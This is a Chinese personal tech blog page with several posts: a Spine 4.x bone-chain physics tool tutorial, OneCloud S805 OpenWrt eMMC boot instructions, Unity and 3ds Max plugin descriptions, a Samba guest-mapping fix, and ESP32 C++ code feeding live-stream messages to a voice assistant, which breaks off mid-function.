GAMESH

Spine 2D飘带计算工具|骨骼跟随工具

Sun, 15 Mar 2026 18:51:13 +0800

Spine 骨骼跟随工具介绍与使用教程

一、工具介绍

1. 工具定位

该工具是一款面向 Spine 4.x 版本的可视化骨骼链物理跟随（Spring Magic）模拟工具，核心用于为 2D 骨骼动画中的头发、尾巴、裙摆、丝带等骨骼链添加自然的物理摆动效果，并可导出包含模拟后关键帧的 Spine JSON 文件。工具内置 Spring 物理算法，支持多骨骼链管理、实时预览、参数自定义及关键帧精简，大幅降低手动制作物理摆动动画的成本。

2. 核心功能

多骨骼链管理：可创建、编辑多条独立的骨骼链，分别配置物理参数；
物理参数自定义：支持硬度、摆幅、链衰减等核心物理参数调节，内置头发 / 尾巴 / 裙摆等预设；
实时预览：加载 Spine JSON 后可预览动画 + 物理跟随效果，支持纹理图集加载还原视觉效果；
批量模拟与导出：支持单链 / 全链模拟，模拟后自动精简冗余关键帧，可导出合并所有链效果的 JSON 文件；
版本适配：自动检测 Spine 3.x 文件并提示切换版本，保障关键帧格式兼容。

3. 界面布局

工具界面分为三大区域：

区域	功能
左侧面板	骨骼链管理（加载 JSON、新建 / 编辑骨骼链）+ 骨骼层级树（选择骨骼组成链）
中间面板	动画预览（播放 / 暂停、进度调节）+ 纹理加载 + 状态提示
右侧面板	参数配置（物理预设、Spring 参数、模拟设置）+ 动画选择 + 模拟 / 导出

二、使用教程

前置准备

确保已准备好：

Spine 4.x 导出的骨骼动画 JSON 文件（若为 3.x 文件，工具会提示切换对应版本）；
（可选）动画对应的纹理图集（PNG 图片 + .atlas 文件），用于预览时显示纹理。

步骤 1：加载 Spine JSON 文件

左侧面板找到「拖入 Spine JSON」区域，可直接拖拽 JSON 文件到该区域，或点击区域选择文件；
文件加载成功后，左侧会显示：

文件名及元信息（底部「finfo」区域）；
骨骼层级树（「骨骼层级」模块）；
「新建链」按钮变为可用状态；

工具自动解析动画列表，右侧「选择要模拟的动画」区域会显示所有动画名称。

步骤 2：创建并编辑骨骼链

骨骼链是 “需要添加物理跟随的一串骨骼”（如头发骨骼链：根骨骼→第一节头发→第二节头发）。

点击左侧面板「+ 新建链」按钮，生成一条新的骨骼链；
编辑骨骼链：

点击骨骼链名称输入框，自定义链名称（如 “头发链”）；
在左侧「骨骼层级」树中，依次点击需要加入链的骨骼（按父子层级顺序），骨骼会自动添加到当前链中；
若需移除骨骼：点击骨骼链下方标签中的「×」按钮删除对应骨骼；

（可选）重复步骤 1-2，创建多条骨骼链（如同时做头发、尾巴两条链）。

步骤 3：配置物理参数

右侧面板配置参数，推荐先选预设再微调：

「快速预设」选择适配场景的参数（头发 / 尾巴 / 裙摆 / 丝带 / 硬挺），预设会自动填充核心参数；
微调 Spring Magic 参数（关键）：
| 参数 | 作用说明 |
|------------|--------------------------------------------------------------------------|
| 硬度（delay） | 数值越大，骨骼越 “硬”，跟随父骨骼的速度越快（0.01~0.99，默认 0.3） |
| 摆幅（scaleMotion） | 放大 / 缩小第一节骨骼的摆动幅度（0~5，默认 1.0） |
| 链衰减 | 末端骨骼的硬度衰减（0.3~1.0，默认 1.0），数值越小末端越软（如尾巴末端）|
模拟设置（按需调整）：

模拟帧率：默认 60fps（越高越流畅，建议 60/90）；
多次抽样：每帧内迭代次数（默认 2，越高效果越细腻）；
预热帧数：循环预跑消除开头抖动（默认 30，无需大幅修改）；

关键帧精简：调节「精简强度」（0~1），0 保留所有帧，1 最大程度精简冗余帧（默认 0.5 兼顾效果与体积）。

步骤 4：选择动画并预览

右侧「选择要模拟的动画」区域：

勾选需要添加物理效果的动画（可点击「全选 / 全不选」批量操作）；
中间面板「预览」下拉框选择要预览的动画；

（可选）加载纹理：

中间面板「纹理」区域，分别拖拽 PNG 图集和 .atlas 文件到对应区域；
加载成功后，预览区会显示带纹理的骨骼动画；

预览控制：

点击「▶ 播放」按钮预览动画 + 物理跟随效果；
勾选 / 取消「跟随 / 原始」，对比模拟后与原动画的差异；
拖动进度条调节动画播放进度。

步骤 5：模拟并导出

模拟执行：

单链模拟：选中左侧目标骨骼链，点击右侧「▶ 模拟当前链」；
全链模拟：点击右侧「⚡ 模拟全部链」（所有骨骼链同时模拟）；

模拟过程中，右侧会显示进度条及状态（准备中 / 模拟中 / 完成），模拟完成后：

左侧骨骼链会标记「已模拟」（绿色圆点）；
右侧「各链模拟状态」会显示每条链的模拟结果；

导出设置：

「覆盖原有旋转轨道」：勾选则替换原骨骼的旋转关键帧（默认开启）；
「保留原始轨道备份」：勾选则保留原关键帧（建议按需开启）；
「关键帧间隔」：设置导出关键帧的时间间隔（默认 33ms，即 30fps）；

点击「↓ 合并导出全部链」，下载包含所有骨骼链物理效果的 Spine JSON 文件，可直接导入 Spine 编辑。
视频教程转：https://www.cgjoy.com/thread-281201-1-1.html

工具链接：https://pylblog.com/spinetools/spine-follow-4x.html

工具免费使用，不收取任何费用，也不收集用户数据

如果工具对你有帮助可以请我吃包辣条

[MyText]这里插入要隐藏的内容[/MyText]

编译玩客云可以写入emmc启动的openwrt固件

Tue, 27 Jan 2026 15:49:50 +0800

✅ 方案（强烈推荐，成功率最高）

完全照网上这套来

eMMC：

重新分区
建一个 FAT32 分区（mmc 1:1）
这一步可以使用openwrt-18.06.8-s805-k310-onecloud-ws1608-by-snail_20201208_163930+(7)里面的分区脚本sh /root/format-emmc-partition.sh

文件放进去：

emmc_autoscript
uImage
uInitrd
dtb
uEnv_emmc.ini

让 U-Boot 走：
```
fatload mmc 1:1 ...
```

✔️ 日志已经证明 你这个 U-Boot 原生支持这条路

下面内容是 完全对齐你给的“能正常 eMMC 启动日志” 的方案，按顺序做，成功率非常高。

目标设备：OneCloud / M201 / S805 / 1G 内存
启动方式：eMMC + FAT 分区 + emmc_autoscript

一、最终目录结构（你做完后应该长这样）

eMMC 的 第 1 分区（FAT32） 根目录：

/boot（或直接根目录）
├── emmc_autoscript
├── uImage
├── uInitrd
├── uEnv_emmc.ini
└── dtb

⚠️ 注意：

U-Boot 找的是文件，不是分区名
emmc_autoscript 没有扩展名

二、eMMC 分区方案（必须这样来）

1️⃣ Linux / OpenWrt 下重新分区（示例）

fdisk /dev/mmcblk1

输入顺序（非常重要）：

o                # 清空分区表（MBR）n
p12211841269759          # ≈512MB FATtc                # FAT32 LBAn
p21482752
                # 剩余全部w

然后格式化：

mkfs.vfat -F32 /dev/mmcblk1p1
mkfs.ext4 /dev/mmcblk1p2

挂载：

mount /dev/mmcblk1p1 /mnt

三、核心文件（我直接给你内容）

1️⃣ emmc_autoscript.cmd（源码）

echo "===== Boot OpenWrt from eMMC (NO uInitrd) ====="

# 内核、DTB 加载地址（与你日志一致）
setenv kernel_addr 0x14000000
setenv dtb_addr    0x11800000

# eMMC：SDIO C = mmc 1
setenv bootdev "mmc 1:1"

# 传给内核的启动参数
setenv bootargs "console=ttyS0,115200n8 root=/dev/mmcblk1p2 rw rootwait"

# 读取内核
fatload ${bootdev} ${kernel_addr} uImage || exit

# 读取 DTB
fatload ${bootdev} ${dtb_addr} dtb || exit

# 启动（不带 ramdisk）
bootm ${kernel_addr} - ${dtb_addr}

2️⃣ 生成 emmc_autoscript（关键一步）

mkimage -A arm -T script -C none \
-n "Boot OpenWrt from eMMC" \
-d emmc_autoscript.cmd emmc_autoscript

⚠️ 只拷贝生成后的 emmc_autoscript，不是 .cmd

3️⃣ uEnv_emmc.ini（可选，但强烈建议）

bootdelay=1baudrate=115200console=ttyS0,115200n8kernel_addr=0x14000000ramdisk_addr=0x15000000fdt_addr=0x11800000

4️⃣ dtb 文件（必须匹配）

四、拷贝文件到 eMMC FAT 分区

可以执行openwrt-18.06.8-s805-k310-onecloud-ws1608-by-snail_20201208_163930+(7)里面的sh /root/install-openwrt-to-emmc.sh，不过要注意修改你的boot文件夹

BOOT_DIR=${BOOT_DIR:-/var/rom_boot}

display_alert "" && display_alert "Copy bootfs files to eMMC, please wait ..."

(mkdir /var/rom_boot 2>/dev/null; cd $BOOT_DIR && rm -rf *)

(cd /boot && tar cpf - *) | pv -p -b -r -s $(( `du -sk /boot | cut -f1` * 1024 )) | (cd $BOOT_DIR && tar xpf -)

这里两个boot要改成你建立boot文件夹的路径

这里可以参考以前我制作镜像的一些方式https://pylblog.com/post/253.html

在 openwrt-18.06.8-s805-k310-onecloud-ws1608-by-snail_20201208_163930+(7)启动盘增加两个文件夹用来放你编译的固件例如bootA、rootfsA

 将emmc_autoscript  uImage  uInitrd  uEnv_emmc.ini dtb 拷贝到boot分区

五、U-Boot 下验证（非常重要）

串口进入 U-Boot：

mmc list
mmc dev 1
fatls mmc 1:1

你必须看到：

emmc_autoscriptuImage
uInitrd
uEnv_emmc.ini
dtb

然后手动测试：

fatload mmc 1:1 0x12000000 emmc_autoscript
autoscr 0x12000000

如果正确，日志会出现：

reading uImage
reading uInitrd
reading ...dtb## Booting kernel from Legacy Image

? 这一步成功 = 90% 已搞定

先按照这个教程执行一次，确保需要的框架存在，https://post.smzdm.com/p/aoxw5x9n/

Unity插件Animancer Pro v8 8.2.2 游戏动作动画系统编辑器

Sat, 01 Nov 2025 18:00:22 +0800

一、基础信息

Unity 版本要求：支持 Unity 2022.3 及以上版本，旧版本用户需参考《升级指南》（Upgrade Guide）。
核心定位：可完全替代或配合 Unity 原生的 Animator Controllers 使用，解决其核心痛点，简化从原型开发到复杂系统调试的全流程动画操作。
版本模式：提供免费的Animancer Lite版本（可试用全部功能），支持无缝升级到付费的Animancer Pro版本。

二、核心功能（Lite 与 Pro 通用）

所有功能均可通过 Animancer Lite 在 Unity 编辑器中免费试用，具体包括：

即时播放（Quick Play）：无需额外配置，获取 AnimationClip 后调用animancer.Play(clip)即可播放。
便捷等待（Easy Waiting）：注册结束事件（End Event），或在协程中通过yield return an AnimancerState等待动画结束。
平滑过渡（Smooth Transitions）：支持线性或自定义曲线（Custom Curve）过渡，确保角色动作流畅。
灵活结构（Flexible Structure）：通过数组、Scriptable Objects 等数据结构管理动画，避免 “魔法字符串”（Magic Strings）。
实时检视（Live Inspector）：在 Inspector 面板查看动画实时详情，支持手动控制以方便调试和测试。
有限状态机（Finite State Machines）：内置独立于动画系统的灵活 FSM，可自由修改或替换为其他系统。
高性能（High Performance）：效率通常高于其他动画系统，多数场景下性能差异不影响使用。
平滑集成（Smooth Integration）：兼容多数第三方动画插件，支持人形动画重定向、通用骨骼、精灵动画、根运动、动画事件及反向运动学（IK）。

三、Animancer Pro 专属功能

以下功能需购买 Pro 版才能在运行时构建（runtime build）中使用，且 Pro 版包含完整源代码：

完全控制（Total Control）：运行时脚本可全面访问并控制动画细节，包括速度、时间、混合权重。
简单配置（Simple Configuration）：在 Inspector 面板管理动画细节，支持作为场景或预制体的一部分编辑。
自定义事件（Custom Events）：无需 Unity 原生动画事件的繁琐操作，可注册在动画特定时间触发的回调。
动画层（Animation Layers）：同时管理多组动画（通常对应不同身体部位），支持层的覆盖、叠加及淡入淡出。
Animator Controllers 兼容（Animator Controllers）：支持 “混合模式”，可将 Animator Controllers 与直接 AnimationClip 引用结合使用，单个角色可混合多个控制器。
动画混合器（Animation Mixers）：类似混合树（Blend Trees），可根据输入参数（如摇杆倾斜度）混合动画（如 Idle、Walk、Run）。
工具集（Tools）：包含批量创建、修改动画的工具（如批量重命名精灵、按名称生成精灵动画），兼容其他动画系统。
自定义扩展（Customisation）：利用 Unity 动画作业系统（Animation Job）实现底层动画流访问，可创建自定义状态类型以实现 procedural 动画、自定义混合算法等。
源代码（Source Code）：提供带详细注释的完整 C# 源代码，支持查错、自定义修改，避免依赖开发者修复问题；Pro 包中的Animancer.Lite.dll为空占位文件，不参与构建。

四、学习与支持资源

文档（Documentation）：包含详细的《用户手册》（User Manual），解释所有功能原理，还提供 Unity C# 入门教程（针对编程新手）。
示例（Samples）：提供大量示例项目，其中《Platformer Game Kit》展示了 Animancer 在复杂场景中的应用；示例使用的第三方美术资源基于 CC0 协议（可免费商用）。
帮助（Help and FAQ）：提供专门的帮助与常见问题页面，供用户获取支持。

五、升级政策（Upgrade Policy）

小更新与问题修复永久免费。
大版本更新可能收取升级费用，具体取决于更新范围和开发成本。
未升级的用户可继续使用已购买版本，该版本将支持其兼容的 Unity 版本。

[MyText]这里插入要隐藏的内容[/MyText]

【中文】 TyFlow粒子系统 v.1.029 中文版3dmax2018-2024

Sat, 01 Nov 2025 17:10:09 +0800

tyFlow是3ds Max的粒子系统插件，主要用于创建程序化动画和复杂粒子效果。以下是其核心功能及使用要点：

核心功能:

‌粒子模拟‌：支持破碎、刚体、软体、布料、雪/沙等物理模拟效果。 ‌

1.参数调节‌：可设置生命周期、颜色、速度、大小等属性，并通过MAXScript进行编程控制。 ‌

2.共享运动流‌：支持多个对象共享同一运动流，实现统一动画控制。 ‌

3.使用流程

‌安装插件‌：确保3ds Max已安装tyFlow插件。

‌创建粒子系统‌：选中目标对象，右键选择“附加”→“tyFlow”→“tyFlow粒子系统”。

‌参数设置‌：在属性编辑器中调整生命周期、发射速率、物理参数等。 ‌

‌绑定与导出‌：将粒子系统绑定至摄像机或场景元素，导出场景文件用于渲染。 ‌

[MyText]隐藏的内容显示的位置[/MyText]

极米投影仪无法连接samba服务

Thu, 23 Oct 2025 00:20:18 +0800

问题根源分析

极米投影仪内置的 SMB 客户端版本通常较低，为了兼容性和安全性，它可能：

仅支持古老的、不安全的 SMBv1 协议。
或者不支持现代 Samba 服务器默认使用的 SMBv2/3 协议。而新版 Ubuntu 的 Samba 出于安全考虑，默认已禁用 SMBv1。
配置中含有map to guest = bad user

“map to guest = bad user” 是 Samba 的用户认证失败时的兜底规则，作用是把 “认证出错的用户” 自动映射成 “匿名访客”，你删除后反而解决问题，本质是避免了极米登录时的 “隐性认证错误” 被强制转为匿名访问。

一、先明确 “map to guest = bad user” 的具体作用

它的核心逻辑是 “处理认证失败场景”，简单说就是：

当有设备尝试登录 Samba 时，如果出现用户名不存在、密码错误、或权限不匹配等认证问题，Samba 不会直接拒绝，而是自动把这个 “认证失败的用户” 转换成 “匿名访客（guest）”。
匿名访客的权限由共享配置中的 “public = yes/no”“guest ok = yes/no” 决定 —— 如果共享没开匿名权限，即使映射成访客，最终还是会显示 “无法访问”。

二、为什么删除它，极米就能访问了？

这和极米的 “认证机制兼容性” 有关，本质是极米登录时触发了这个规则，导致访问身份被 “错换”：

极米用root登录时，可能因为协议细节差异（比如极米发送的认证信息格式和其他设备略有不同），被 Samba 误判为 “认证失败”。
按原配置 “map to guest = bad user”，Samba 会把本应正常登录的root，强制转换成 “匿名访客”；而你的共享配置（有valid users = root）又不允许匿名访客访问，所以极米就看不到文件夹。
删除这个配置后，Samba 会 “严格按原身份处理”—— 极米发送的root认证信息能正常通过，不会被错换成访客，自然就能访问了。

三、删除后有什么影响？是否需要补其他配置？

删除后不会影响正常使用，反而让认证逻辑更 “直白”，唯一的变化是：

今后如果有设备用错误的用户名 / 密码登录，Samba 会直接返回 “拒绝访问”，而不是偷偷转换成匿名访客（对安全性其实更友好，能避免匿名访问的潜在风险）。
因为你保留了valid users = root，其他设备用正确的root账号登录，依然能正常访问，和之前没区别。

所以完全不用补其他配置，当前状态（删除 “map to guest = bad user”+ 保留 “valid users = root”）既能满足极米访问，又能保证共享安全，是适合你场景的最优配置。

让小智AI接入直播间作为语音助手

Wed, 08 Oct 2025 23:59:13 +0800

在Listening状态获取消息

检查当前会话是否已获取过
未获取则获取新消息并调用 WakeWordInvoke()
标记已获取

处理完成判断

当设备回到Listening状态时，说明上一条消息已处理完成
立即通知服务器完成
重置标志，准备获取下一条

状态变化时重置

离开Listening状态时自动重置标志

⚡ 优势

不等待Idle：处理完立即回到Listening就能获取下一条
响应更快：消息处理周期大大缩短
逻辑简单：

Listening状态 → 获取消息
Speaking/Connecting → 处理中
回到Listening → 完成，获取下一条

这样消息队列处理会快很多！

#include "wifi_board.h"
#include "codecs/no_audio_codec.h"
#include "display/lcd_display.h"
#include "font_awesome_symbols.h"
#include "application.h"
#include "button.h"
#include "config.h"
#include "mcp_server.h"
#include "settings.h"

#include <wifi_station.h>
#include <esp_log.h>
#include <esp_lcd_panel_vendor.h>
#include <driver/i2c_master.h>
#include <driver/spi_common.h>
#include <driver/uart.h>
#include <cstring>
#include "emote_display.h"
#include "driver/temperature_sensor.h"
#include <freertos/FreeRTOS.h>
#include <freertos/semphr.h>
#include <freertos/task.h>
#include <queue>
#include <string>
#include <unordered_map>

#include <esp_lcd_panel_io.h>
#include <esp_lcd_panel_ops.h>
#include <driver/spi_common.h>
#include <esp_lcd_ili9488.h>
#include <esp_http_client.h>
#include <esp_timer.h>

#define TAG "CompactWifiBoardLCD"
#define HTTP_NEXT_URL "http://192.168.1.90/YESHI/ai.php?action=next"
#define HTTP_COMPLETE_URL "http://192.168.1.90/YESHI/ai.php?action=complete&id=%d"
#define HTTP_GET_TIMEOUT_MS 5000
#define MESSAGE_FETCH_INTERVAL_MS 1000  // 定时器间隔：1秒

LV_FONT_DECLARE(font_puhui_20_4);
LV_FONT_DECLARE(font_awesome_20_4);
static const size_t LV_BUFFER_SIZE = 320 * 25;
#define USE_LVGL_DEFAULT 0

class CompactWifiBoardLCD : public WifiBoard {
private:
    Button boot_button_;
    i2c_master_bus_handle_t i2c_bus_;
    Display* display_;
    esp_timer_handle_t message_timer_ = nullptr;
    bool is_fetching_messages_ = false;
    int current_message_id_ = 0;
    bool is_processing_message_ = false;
    bool has_fetched_in_current_idle_ = false;  // 当前空闲会话是否已获取消息

    // HTTP响应数据结构
    struct HttpResponseData {
        char* buffer;
        size_t size;
        size_t capacity;
    };

    // HTTP事件处理回调
    static esp_err_t HttpEventHandler(esp_http_client_event_t *evt) {
        HttpResponseData *data = (HttpResponseData *)evt->user_data;
        
        switch(evt->event_id) {
            case HTTP_EVENT_ON_DATA:
                if (data->buffer == nullptr) {
                    data->capacity = 1024;
                    data->buffer = (char*)malloc(data->capacity);
                    data->size = 0;
                }
                
                if (data->size + evt->data_len >= data->capacity) {
                    data->capacity = data->size + evt->data_len + 1024;
                    data->buffer = (char*)realloc(data->buffer, data->capacity);
                }
                
                if (data->buffer) {
                    memcpy(data->buffer + data->size, evt->data, evt->data_len);
                    data->size += evt->data_len;
                    data->buffer[data->size] = '\0';
                }
                break;
                
            default:
                break;
        }
        return ESP_OK;
    }

    // 从服务器获取下一条消息
    bool FetchNextMessage(char* out_message, size_t max_len, int* out_message_id) {
        if (!out_message || max_len == 0 || !out_message_id) {
            return false;
        }
        
        HttpResponseData response_data = {0};
        bool success = false;
        
        esp_http_client_config_t config = {};
        config.url = HTTP_NEXT_URL;
        config.event_handler = HttpEventHandler;
        config.user_data = &response_data;
        config.timeout_ms = HTTP_GET_TIMEOUT_MS;
        
        esp_http_client_handle_t client = esp_http_client_init(&config);
        if (!client) {
            ESP_LOGE(TAG, "HTTP客户端初始化失败");
            return false;
        }
        
        esp_err_t err = esp_http_client_perform(client);
        if (err == ESP_OK) {
            int status_code = esp_http_client_get_status_code(client);
            
            if (status_code == 200 && response_data.buffer && response_data.size > 0) {
                // 解析格式: "消息ID|消息内容"
                char* separator = strchr(response_data.buffer, '|');
                if (separator) {
                    *separator = '\0';
                    *out_message_id = atoi(response_data.buffer);
                    
                    char* message_content = separator + 1;
                    size_t content_len = strlen(message_content);
                    size_t copy_len = (content_len < max_len - 1) ? content_len : max_len - 1;
                    memcpy(out_message, message_content, copy_len);
                    out_message[copy_len] = '\0';
                    
                    // 去除首尾空白字符
                    char* start = out_message;
                    while (*start && (*start == ' ' || *start == '\n' || *start == '\r' || *start == '\t')) {
                        start++;
                    }
                    if (start != out_message) {
                        memmove(out_message, start, strlen(start) + 1);
                    }
                    
                    size_t len = strlen(out_message);
                    while (len > 0 && (out_message[len-1] == ' ' || out_message[len-1] == '\n' || 
                                       out_message[len-1] == '\r' || out_message[len-1] == '\t')) {
                        out_message[--len] = '\0';
                    }
                    
                    if (strlen(out_message) > 0) {
                        // ID可以是0（随机话题）或大于0（真实消息）
                        ESP_LOGI(TAG, "收到消息 [ID=%d]: %s", *out_message_id, out_message);
                        success = true;
                    } else {
                        ESP_LOGW(TAG, "消息内容为空");
                    }
                } else {
                    ESP_LOGW(TAG, "消息格式错误，缺少分隔符");
                }
            } else if (status_code == 200) {
                ESP_LOGD(TAG, "服务器返回空响应");
            } else {
                ESP_LOGW(TAG, "HTTP状态码异常: %d", status_code);
            }
        } else {
            ESP_LOGE(TAG, "HTTP GET请求失败: %s", esp_err_to_name(err));
        }
        
        if (response_data.buffer) {
            free(response_data.buffer);
        }
        
        esp_http_client_cleanup(client);
        return success;
    }

    // 通知服务器消息处理完成
    bool NotifyMessageComplete(int message_id) {
        char complete_url[256];
        snprintf(complete_url, sizeof(complete_url), HTTP_COMPLETE_URL, message_id);
        
        esp_http_client_config_t config = {};
        config.url = complete_url;
        config.method = HTTP_METHOD_GET;
        config.timeout_ms = 3000;
        
        esp_http_client_handle_t client = esp_http_client_init(&config);
        if (!client) {
            ESP_LOGE(TAG, "HTTP客户端初始化失败");
            return false;
        }
        
        esp_err_t err = esp_http_client_perform(client);
        bool success = false;
        
        if (err == ESP_OK) {
            int status_code = esp_http_client_get_status_code(client);
            if (status_code == 200) {
                ESP_LOGI(TAG, "消息完成通知成功: ID=%d", message_id);
                success = true;
            } else {
                ESP_LOGW(TAG, "消息完成通知失败: 状态码=%d", status_code);
            }
        } else {
            ESP_LOGE(TAG, "消息完成通知请求失败: %s", esp_err_to_name(err));
        }
        
        esp_http_client_cleanup(client);
        return success;
    }

    // 定时器回调函数（借鉴Esp32LiveStream的设计）
    static void MessageTimerCallback(void* arg) {
        CompactWifiBoardLCD* self = static_cast<CompactWifiBoardLCD*>(arg);
        
        // 检查是否停止获取
        if (!self->is_fetching_messages_) {
            ESP_LOGD(TAG, "消息获取已停止，忽略定时器回调");
            return;
        }
        
        // 获取当前设备状态
        auto& app = Application::GetInstance();
        DeviceState device_state = app.GetDeviceState();
        
        ESP_LOGD(TAG, "定时器触发 - 状态: %d, 正在处理: %d, 已获取: %d", 
                 device_state, self->is_processing_message_, self->has_fetched_in_current_idle_);
        
        // 情况1：正在处理消息，检查是否回到Listening状态（说明处理完成）
        if (self->is_processing_message_) {
            // 检查是否回到Listening状态，说明上一条消息处理完成
            if (device_state == kDeviceStateListening) {
                ESP_LOGI(TAG, "回到Listening状态，消息处理完成");
                
                // 只有ID>0的消息才需要通知服务器（ID=0是随机话题）
                if (self->current_message_id_ > 0) {
                    ESP_LOGI(TAG, "通知服务器消息完成: ID=%d", self->current_message_id_);
                    if (self->NotifyMessageComplete(self->current_message_id_)) {
                        self->is_processing_message_ = false;
                        self->current_message_id_ = 0;
                        self->has_fetched_in_current_idle_ = false;
                        ESP_LOGI(TAG, "准备获取下一条消息");
                    } else {
                        ESP_LOGW(TAG, "完成通知失败，下次定时器重试");
                    }
                } else {
                    // 随机话题处理完成，无需通知服务器
                    ESP_LOGI(TAG, "随机话题处理完成，无需通知服务器");
                    self->is_processing_message_ = false;
                    self->current_message_id_ = 0;
                    self->has_fetched_in_current_idle_ = false;
                }
            }
            return;  // 正在处理中，不获取新消息
        }
        
        // 情况2：没有正在处理的消息，检查是否可以获取新消息
        // 在Listening状态下获取
        if (device_state == kDeviceStateListening) {
            // 检查当前Listening会话是否已获取过消息
            if (!self->has_fetched_in_current_idle_) {
                ESP_LOGI(TAG, "设备处于Listening状态且未获取过消息，尝试获取新消息");
                
                char message_buffer[512];
                int fetched_message_id = 0;
                
                if (self->FetchNextMessage(message_buffer, sizeof(message_buffer), &fetched_message_id)) {
                    if (fetched_message_id == 0) {
                        ESP_LOGI(TAG, "获取到随机话题: %s", message_buffer);
                    } else {
                        ESP_LOGI(TAG, "获取到消息 [ID=%d]: %s", fetched_message_id, message_buffer);
                    }
                    
                    // 标记正在处理
                    self->is_processing_message_ = true;
                    self->current_message_id_ = fetched_message_id;
                    self->has_fetched_in_current_idle_ = true;  // 标记当前会话已获取
                    
                    // 根据设备状态选择处理方式
                    if (device_state == kDeviceStateListening) {
                        ESP_LOGI(TAG, "设备处于Listening状态，使用 SendWakeWordDetected 处理");
                        Protocol* protocol = &Application::GetInstance().GetProtocol();
                        protocol->SendWakeWordDetected(message_buffer);
                    } else {
                        ESP_LOGI(TAG, "设备不在Listening状态，使用 WakeWordInvoke 处理");
                        app.WakeWordInvoke(message_buffer);
                    }
                } else {
                    ESP_LOGD(TAG, "获取消息失败，等待下次定时器");
                }
            } else {
                ESP_LOGD(TAG, "当前Listening会话已获取过消息，等待状态变化");
            }
        } else {
            // 不在Listening状态，重置获取标志
            if (self->has_fetched_in_current_idle_ && device_state != kDeviceStateListening) {
                ESP_LOGD(TAG, "设备离开Listening状态，重置获取标志");
                self->has_fetched_in_current_idle_ = false;
            }
        }
    }

    // 启动消息获取定时器
    bool StartMessageFetching() {
        if (is_fetching_messages_) {
            ESP_LOGW(TAG, "消息获取已在运行");
            return true;
        }
        
        ESP_LOGI(TAG, "启动消息获取定时器...");
        
        // 创建定时器配置
        esp_timer_create_args_t timer_args = {
            .callback = MessageTimerCallback,
            .arg = this,
            .dispatch_method = ESP_TIMER_TASK,
            .name = "message_fetch_timer"
        };
        
        // 创建定时器
        esp_err_t ret = esp_timer_create(&timer_args, &message_timer_);
        if (ret != ESP_OK) {
            ESP_LOGE(TAG, "创建定时器失败: %s", esp_err_to_name(ret));
            return false;
        }
        
        // 启动定时器（每秒触发一次）
        ret = esp_timer_start_periodic(message_timer_, MESSAGE_FETCH_INTERVAL_MS * 1000);
        if (ret != ESP_OK) {
            ESP_LOGE(TAG, "启动定时器失败: %s", esp_err_to_name(ret));
            esp_timer_delete(message_timer_);
            message_timer_ = nullptr;
            return false;
        }
        
        is_fetching_messages_ = true;
        has_fetched_in_current_idle_ = false;
        ESP_LOGI(TAG, "消息获取定时器启动成功，间隔: %d ms", MESSAGE_FETCH_INTERVAL_MS);
        return true;
    }

    // 停止消息获取
    void StopMessageFetching() {
        if (!is_fetching_messages_) {
            return;
        }
        
        ESP_LOGI(TAG, "停止消息获取定时器");
        is_fetching_messages_ = false;
        
        if (message_timer_) {
            esp_timer_stop(message_timer_);
            esp_timer_delete(message_timer_);
            message_timer_ = nullptr;
        }
        
        has_fetched_in_current_idle_ = false;
        ESP_LOGI(TAG, "消息获取定时器已停止");
    }

    void InitializeSpi() {
        spi_bus_config_t buscfg = {};
        buscfg.mosi_io_num = DISPLAY_MOSI_PIN;
        buscfg.miso_io_num = GPIO_NUM_NC;
        buscfg.sclk_io_num = DISPLAY_CLK_PIN;
        buscfg.quadwp_io_num = GPIO_NUM_NC;
        buscfg.quadhd_io_num = GPIO_NUM_NC;
        buscfg.max_transfer_sz = DISPLAY_WIDTH * DISPLAY_HEIGHT * sizeof(uint16_t);
        ESP_ERROR_CHECK(spi_bus_initialize(SPI3_HOST, &buscfg, SPI_DMA_CH_AUTO));
    }

    void InitializeButtons() {
        boot_button_.OnClick([this]() {
            auto& app = Application::GetInstance();
            if (app.GetDeviceState() == kDeviceStateStarting && !WifiStation::GetInstance().IsConnected()) {
                ResetWifiConfiguration();
            }
            app.ToggleChatState();
        });
    }

    void InitializeDisplay() {
        esp_lcd_panel_io_handle_t panel_io = nullptr;
        esp_lcd_panel_handle_t panel = nullptr;
        
        ESP_LOGD(TAG, "Install panel IO");
        esp_lcd_panel_io_spi_config_t io_config = {};
        io_config.cs_gpio_num = DISPLAY_CS_PIN;
        io_config.dc_gpio_num = DISPLAY_DC_PIN;
        io_config.spi_mode = DISPLAY_SPI_MODE;
        io_config.pclk_hz = 40 * 1000 * 1000;
        io_config.trans_queue_depth = 10;
        io_config.lcd_cmd_bits = 8;
        io_config.lcd_param_bits = 8;
        ESP_ERROR_CHECK(esp_lcd_new_panel_io_spi(SPI3_HOST, &io_config, &panel_io));

        ESP_LOGD(TAG, "Install LCD driver");
        esp_lcd_panel_dev_config_t panel_config = {};
        panel_config.reset_gpio_num = DISPLAY_RST_PIN;
        panel_config.rgb_ele_order = DISPLAY_RGB_ORDER;
        panel_config.bits_per_pixel = 18;
        ESP_ERROR_CHECK(esp_lcd_new_panel_ili9488(panel_io, &panel_config, LV_BUFFER_SIZE, &panel));
        
        esp_lcd_panel_reset(panel);
        esp_lcd_panel_init(panel);
        esp_lcd_panel_invert_color(panel, false);
        esp_lcd_panel_swap_xy(panel, DISPLAY_SWAP_XY);
        esp_lcd_panel_mirror(panel, DISPLAY_MIRROR_X, DISPLAY_MIRROR_Y);
        esp_lcd_panel_disp_on_off(panel, true);
        
#if USE_LVGL_DEFAULT
        display_ = new SpiLcdDisplay(panel_io, panel,
                                    DISPLAY_WIDTH, DISPLAY_HEIGHT, DISPLAY_OFFSET_X, DISPLAY_OFFSET_Y, 
                                    DISPLAY_MIRROR_X, DISPLAY_MIRROR_Y, DISPLAY_SWAP_XY,
                                    {
                                        .text_font = &font_puhui_20_4,
                                        .icon_font = &font_awesome_20_4,
                                        .emoji_font = font_emoji_64_init(),
                                    });
#else
        display_ = new anim::EmoteDisplay(panel, panel_io);
#endif
    }

public:
    CompactWifiBoardLCD() : boot_button_(BOOT_BUTTON_GPIO) {
        InitializeSpi();
        InitializeDisplay();
        InitializeButtons();

        if (DISPLAY_BACKLIGHT_PIN != GPIO_NUM_NC) {
            GetBacklight()->RestoreBrightness();
        }

        // 延迟启动消息获取定时器
        xTaskCreate([](void* param) {
            CompactWifiBoardLCD* self = (CompactWifiBoardLCD*)param;
            
            // 等待WiFi稳定连接（最多30秒）
            int wifi_wait_count = 0;
            while (!WifiStation::GetInstance().IsConnected() && wifi_wait_count < 30) {
                vTaskDelay(pdMS_TO_TICKS(1000));
                wifi_wait_count++;
            }
            
            if (WifiStation::GetInstance().IsConnected()) {
                // 再等待3秒确保系统稳定
